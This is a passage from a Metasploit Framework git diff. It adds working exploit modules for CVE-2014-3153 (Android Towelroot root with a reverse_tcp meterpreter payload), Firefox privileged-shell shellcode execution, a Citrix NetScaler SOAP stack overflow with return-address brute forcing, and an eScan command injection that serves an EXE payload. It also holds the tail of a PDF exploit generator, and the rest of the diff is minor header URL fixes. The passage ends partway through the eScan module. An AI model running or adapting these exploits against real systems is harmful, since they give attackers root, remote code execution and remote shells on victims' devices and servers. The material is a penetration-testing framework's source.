"eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=") + add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==") + add_compressed(30, "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") + add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=") + add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==") + add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=") + + js = Zlib::Deflate.deflate(js) + add_object(46, "\x0d<>stream\x0d#{js}\x0dendstream\x0d") + + add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==") + add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==") + add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=") + add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=") + add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==") + add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=") + add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==") + add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=") + add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==") + add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=") + add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ") + add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=") + + @xref_offset = @pdf.length + @pdf << xref_table << trailer(25) << startxref + + @pdf + end + +end diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb new file mode 100644 index 0000000000..204bf8af5b --- /dev/null +++ b/modules/exploits/android/local/futex_requeue.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit", + 'Description' => %q{ + This module exploits a bug in futex_requeue in the Linux kernel, using + similiar techniques employed by the towelroot exploit. Any Android device + with a kernel built before June 2014 is likely to be vulnerable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Pinkie Pie', # discovery + 'geohot', # towelroot + 'timwr' # metasploit module + ], + 'References' => + [ + [ 'CVE', '2014-3153' ], + [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], + [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ], + ], + 'SessionTypes' => [ 'meterpreter' ], + 'Platform' => 'android', + 'Targets' => [[ 'Automatic', { }]], + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => + { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp', + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => "May 03 2014" + } + )) + + register_options([ + OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]), + ], self.class) + end + + def put_local_file(remotefile) + localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" ) + data = File.read(localfile, {:mode => 'rb'}) + write_file(remotefile, data) + end + + def exploit + workingdir = session.fs.dir.getwd + exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + + put_local_file(exploitfile) + cmd_exec('/system/bin/chmod 700 ' + exploitfile) + write_file(payloadfile, payload.raw) + + tmpdir = datastore['WritableDir'] + rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}" + rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar" + + rootcmd = " mkdir #{rootclassdir} && " + rootcmd += "cd #{rootclassdir} && " + rootcmd += "cp " + payloadfile + " #{rootpayload} && " + rootcmd += "chmod 766 #{rootpayload} && " + rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload" + + process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true}) + process.channel.read + end + +end + diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb index cebe13c570..1217a5735b 100644 --- a/modules/exploits/apple_ios/browser/safari_libtiff.rb +++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb index 7fc92d6805..99882d452c 100644 --- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb +++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 1233a718b8..1cb15a9101 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end - rescue Rex::ConnectionError, Rex::AddressInUse + rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" diff --git a/modules/exploits/bsdi/softcart/mercantec_softcart.rb b/modules/exploits/bsdi/softcart/mercantec_softcart.rb index e5e067742e..6fe5362b96 100644 --- a/modules/exploits/bsdi/softcart/mercantec_softcart.rb +++ b/modules/exploits/bsdi/softcart/mercantec_softcart.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/dialup/multi/login/manyargs.rb b/modules/exploits/dialup/multi/login/manyargs.rb index 3db4a41ee0..c4d398710d 100644 --- a/modules/exploits/dialup/multi/login/manyargs.rb +++ b/modules/exploits/dialup/multi/login/manyargs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/firefox/local/exec_shellcode.rb b/modules/exploits/firefox/local/exec_shellcode.rb new file mode 100644 index 0000000000..043290fb83 --- /dev/null +++ b/modules/exploits/firefox/local/exec_shellcode.rb @@ -0,0 +1,62 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/payload/firefox' + +class Metasploit3 < Msf::Exploit::Local + + include Msf::Payload::Firefox + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell', + 'Description' => %q{ + This module allows execution of native payloads from a privileged Firefox Javascript shell. + It places the specified payload into memory, adds the necessary protection flags, + and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter + session without touching the disk. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'Platform' => [ 'firefox' ], + 'DisclosureDate' => 'Mar 10 2014', + 'Targets' => [ + [ + 'Native Payload', { + 'Platform' => %w{ linux osx win unix }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) + ], self.class) + end + + def exploit + print_status "Running the Javascript shell..." + session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") + results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) + print_warning(results) if results.present? + end + + def js_payload + %Q| + (function(send){ + try { + #{run_payload} + send("Payload executed."); + } catch (e) { + send(e); + } + })(send); + |.strip + end +end diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb index ea1e397fbf..d7382725c1 100644 --- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index f2310eff93..a8a8b51959 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb new file mode 100644 index 0000000000..4bd783ad7b --- /dev/null +++ b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::Brute + + def initialize(info={}) + super(update_info(info, + 'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution", + 'Description' => %q{ + This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance. + The vulnerability exists in the SOAP handler, accessible through the web interface. A + malicious SOAP requests can force the handler to connect to a malicious NetScaler config + server. This malicious config server can send a specially crafted response in order to + trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary + code with the privileges of the web server running the SOAP handler. This module has been + tested successfully on the NetScaler Virtual Appliance 450010. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Bradley Austin', # Vulnerability Discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html'] + ], + 'Payload' => + { + 'Space' => 1024, + 'MinNops' => 512, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Arch' => ARCH_X86, + 'Platform' => 'bsd', + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + [ 'NetScaler Virtual Appliance 450010', + { + 'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense. + 'Offset' => 606, + 'Ret' => 0xffffda94, # Try before bruteforce... + # The virtual appliance lacks of security mitigations like DEP/ASLR, since the + # process being exploited is an apache child, the bruteforce attack works fine + # here. + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack + 'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack + 'Step' => 256 + } + } + ], + ], + 'DisclosureDate' => "Sep 22 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']), + OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]), + OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010]) + ], self.class) + end + + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def exploit + if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST']) + fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target') + end + + if check != Exploit::CheckCode::Detected + fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found") + end + + start_service + + if target.ret + @curr_ret = target.ret + send_request_soap + Rex.sleep(3) + + if session_created? + return + end + end + + super + end + + def brute_exploit(addrs) + @curr_ret = addrs['Ret'] + send_request_soap + end + + def send_request_soap + soap = <<-EOS + + + +nsroot +nsroot +#{datastore['SRVHOST']} +1800 +#{datastore['SRVHOST']} + + + + EOS + + print_status("#{peer} - Sending soap request...") + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'data' => soap + }, 1) + end + + def on_client_data(c) + print_status("#{c.peerhost} - Getting request...") + + data = c.get_once(2) + req_length = data.unpack("v")[0] + + req_data = c.get_once(req_length - 2) + unless req_data.unpack("V")[0] == 0xa5a50000 + print_error("#{c.peerhost} - Incorrect request... sending payload anyway") + end + + print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...") + + my_payload = Rex::Text.pattern_create(target['Offset']) + my_payload << [@curr_ret, target['RwPtr']].pack("V*") + my_payload << payload.encoded + + pkt = [my_payload.length + 6].pack("v") + pkt << "\x00\x00\xa5\xa5" + pkt << my_payload + c.put(pkt) + c.disconnect + end + +end diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index 683990a1b7..2cc5fb0279 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb index 14ea1c0758..c2b302d0a0 100644 --- a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb +++ b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'XTACACSD <= 4.1.2 report() Buffer Overflow', + 'Name' => 'XTACACSD report() Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in XTACACSD <= 4.1.2. By sending a specially crafted XTACACS packet with an overly long diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb index 32b356277d..033eee1c4e 100644 --- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/hpux/lpd/cleanup_exec.rb b/modules/exploits/hpux/lpd/cleanup_exec.rb index dffec14d7f..0a2b902014 100644 --- a/modules/exploits/hpux/lpd/cleanup_exec.rb +++ b/modules/exploits/hpux/lpd/cleanup_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb index b7f26527e2..5acd0e4099 100644 --- a/modules/exploits/irix/lpd/tagprinter_exec.rb +++ b/modules/exploits/irix/lpd/tagprinter_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb new file mode 100644 index 0000000000..df378d022c --- /dev/null +++ b/modules/exploits/linux/antivirus/escan_password_exec.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "eScan Web Management Console Command Injection", + 'Description' => %q{ + This module exploits a command injection vulnerability found in the eScan Web Management + Console. The vulnerability exists while processing CheckPass login requests. An attacker + with a valid username can use a malformed password to execute arbitrary commands. With + mwconf privileges, the runasroot utility can be abused to get root privileges. This module + has been tested successfully on eScan 5.5-2 on Ubuntu 12.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Joxean Koret', # Vulnerability Discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean + ], + 'Payload' => + { + 'BadChars' => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD + 'DisableNops' => true + }, + 'Arch' => ARCH_X86, + 'Platform' => 'linux', + 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + ['eScan 5.5-2 / Linux', {}], + ], + 'DisclosureDate' => "Apr 04 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(10080), + OptString.new('USERNAME', [ true, 'A valid eScan username' ]), + OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']), + OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]), + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), + OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]), + ], self.class) + end + + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s, 'index.php') + }) + + if res and res.code == 200 and res.body =~ /eScan WebAdmin/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def cmd_exec(session, cmd) + case session.type + when /meterpreter/ + 